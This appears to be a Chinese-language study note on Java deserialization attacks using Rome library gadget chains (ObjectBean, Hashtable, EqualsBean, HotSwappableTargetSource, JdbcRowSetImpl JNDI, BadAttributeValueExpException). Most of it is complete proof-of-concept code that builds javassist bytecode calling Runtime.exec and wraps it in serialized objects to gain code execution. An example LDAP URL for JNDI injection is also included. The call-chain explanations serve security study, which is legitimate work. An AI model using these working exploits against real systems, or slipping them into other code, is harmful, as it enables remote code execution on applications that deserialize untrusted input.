JavaSec - Rome
利用
ObjectBean
原理
Rome链子跟fastjson差不多,入口点是toString方法,它调用的是bean类的getter
ObjectBean.toString()

跟进这里的ToStringBean.toString(),它又调用了下面的重载tostring,下面的tostring反射调用bean类中的getter方法

HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.util.HashMap;
import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;
public class ObjectBeanPOC {
public static void main(String[] args) throws Exception {
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// TemplatesImpl templateImpl = new TemplatesImpl();
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
HashMap<Object, Object> hash = new HashMap<>();
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
hash.put(objectBean, "1");
unSerial(hash);
}
public static byte[] genPayload(String cmd) throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
}
HashTable
HashTable.readObject(ObjectInputStream)
HashTable.reconstitutionPut()
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()
跟CC7的入口点一致,但是是为了调用hashCode方法,与上面链子的区别就是换了个入口点,HashTable.reconstitutionPut()调用了key的equals方法

那么poc也只改改最后的封装步骤即可

package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Hashtable;
import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;
public class ObjectBeanPOC2 {
public static void main(String[] args) throws Exception {
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// TemplatesImpl templateImpl = new TemplatesImpl();
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean, "or");
unSerial(hashtable);
}
public static byte[] genPayload(String cmd) throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
}
EqualsBean
HashMap.readObject()
HashMap.put()/hash()
EqualsBean.hashCode() // 或equals()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
前面的hashmap不多说,来看EqualsBean的hashcode调用了什么

调用了它下面的beanHashCode,其中调用了obj的toString方法,其余不变,这是通过hashcode的链子,修改起来也方便,objectbean的链子改一下就好了

再来看看equals方法如何利用,跟CC7的链子差不多
HashSet/HashMap.readObject()
HashMap.putVal()
AbstractMap.equals()
EqualsBean.equals()
EqualsBean.beanEquals()
TemplatesImpl.getOutputProperties()
equals调用beanEquals,beanEquals方法直接就对obj的getter调用了非常自觉非常方便

注意这里到出发getter还需要经过几个条件,逐一满足即可
首先保证bean1和obj不为空,然后保证obj是_beanClass(也就是EqualsBean的构造方法获得的第一个参数)的一个对象
更方便来说就是要保证在EqualsBean的构造函数中,第一个参数是Class类型,第二个参数需要是第一个参数的一个对象,这个好整,而equal的调用我们通过人为制造hash冲突,比如这里poc中hashmap的`yy`和`zZ`的hash就相同
入口点在HashSet的readobject,其调用了map.put,put中调用了putval,这里调用了key的equals

然后调用到AbstractMap的equals这里,会调用到value的equals

构造POC
package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import static com.orxiain.EqualsBeanPOC3.unSerial;
public class EqualsBeanPOC4 {
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytes = genPayload("xcalc");
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{bytes});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
EqualsBean bean = new EqualsBean(String.class, "or");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", templateImpl);
map2.put("zZ", bean);
map2.put("yy", templateImpl);
HashSet table = new HashSet();
table.add(map1);
table.add(map2);
setFiled(bean, "_beanClass", Templates.class);
setFiled(bean, "_obj", templateImpl);
unSerial(table);
}
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
}
HotSwappableTargetSource
用到了SpringFrameWork依赖
HashMap.readObject()
HashMap.putVal()
HotSwappableTargetSource.equals()
XString.equals()
ToStringBean.toString()
ToStringBean.toString(String)
TemplatesImpl.getOutputProperties()
HotSwappableTargetSource的equals会调用到构造HotSwappableTargetSource对象时传入的对象的equals,但与它对比的Object必须也是HotSwappableTargetSource的一个对象(因为这里有个强制类型转换)

XString其中equals的一个方法调用了Object(也就是和XString对象作equals的对象)的toString方法,那么我们想调用ToStringbean的toString,就让第一个键值对中的key的HotSwappableTargetSource对象封装toStringBean的对象,当第二个键值对(也就是包含了XString的HotSwappableTargetSource对象)put进去之后,会调用起putval方法,继而调用两层equals来到XString的equals这里,它会调用起参数对象(也就是ToStringBean)的toString方法,完成反序列化攻击↓ (太妙了🎉)

package ysoserial.poc.rome;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.wicket.util.diff.ToString;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
/**
* HashMap.readObject()
* HashMap.putVal()
* HotSwappableTargetSource.equals()
* XString.equals()
* ToStringBean.toString()
* ToStringBean.toString(String)
* TemplatesImpl.getOutputProperties()
*/
public class HotSwappableTargetSourcePOC {
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static byte[] genPayload(String cmd) throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
private static ByteArrayOutputStream unSerial(Object obj) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(obj);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
public static void main (String[] args) throws Exception {
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("calc")});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rome"));
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource1, "1");
hashMap.put(hotSwappableTargetSource2, "2");
unSerial(hashMap);
}
}
为什么需要用到HotSwappableTargetSource的equals来中转?

我们看到HotSwappableTargetSource的hashcode方法这里,它直接返回了HotSwappableTargetSource这个class的hashcode而不是对象的hashcode,那么hashcode的值完全是固定的,简直是触发hash冲突的绝佳选择,而XString的hashcode就和对象有关了,不太可控
JdbcRowSetImpl
HashMap.readObject()
HashMap.hash()
ObjectBean.hashCode()
EqualsBean.hashCode()
EqualsBean.beanHashCode()
ToStringBean.toString()
ToStringBean.toString(String)
JdbcRowSetImpl.getDatabaseMetaData()
JdbcRowSetImpl.connect() // JNDI注入点
要是出网,可以打打JNDI,这个就是上面ObjectBean调用了getDatabaseMetaData这个getter而已,那么构建一个BaseRowSet对象放到JdbcRowSetImpl里即可,getDatabaseMetaData会调用到lookup
public class RomeJdbcRowAttack {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/xxxxxxx";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
dataSource.setAccessible(true);
dataSource.set(jdbcRowSet, url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
HashMap<Object, Object> hash = new HashMap<>();
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
hash.put(objectBean, "1");
unSerial(hash);
}
}
BadAttributeValueExpException
经典的readobject一步到位调用任意tostring
package com.orxiain;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;
import static com.orxiain.EqualsBeanPOC4.setFiled;
import static com.orxiain.Tools.*;
public class BadAttributeValueExpExceptionPOC {
public static void main(String[] args) throws Exception {
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{genPayload("xcalc")});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFiled(badAttributeValueExpException, "val", toStringBean);
unSerial(badAttributeValueExpException);
}
public static byte[] genPayload(String cmd) throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
}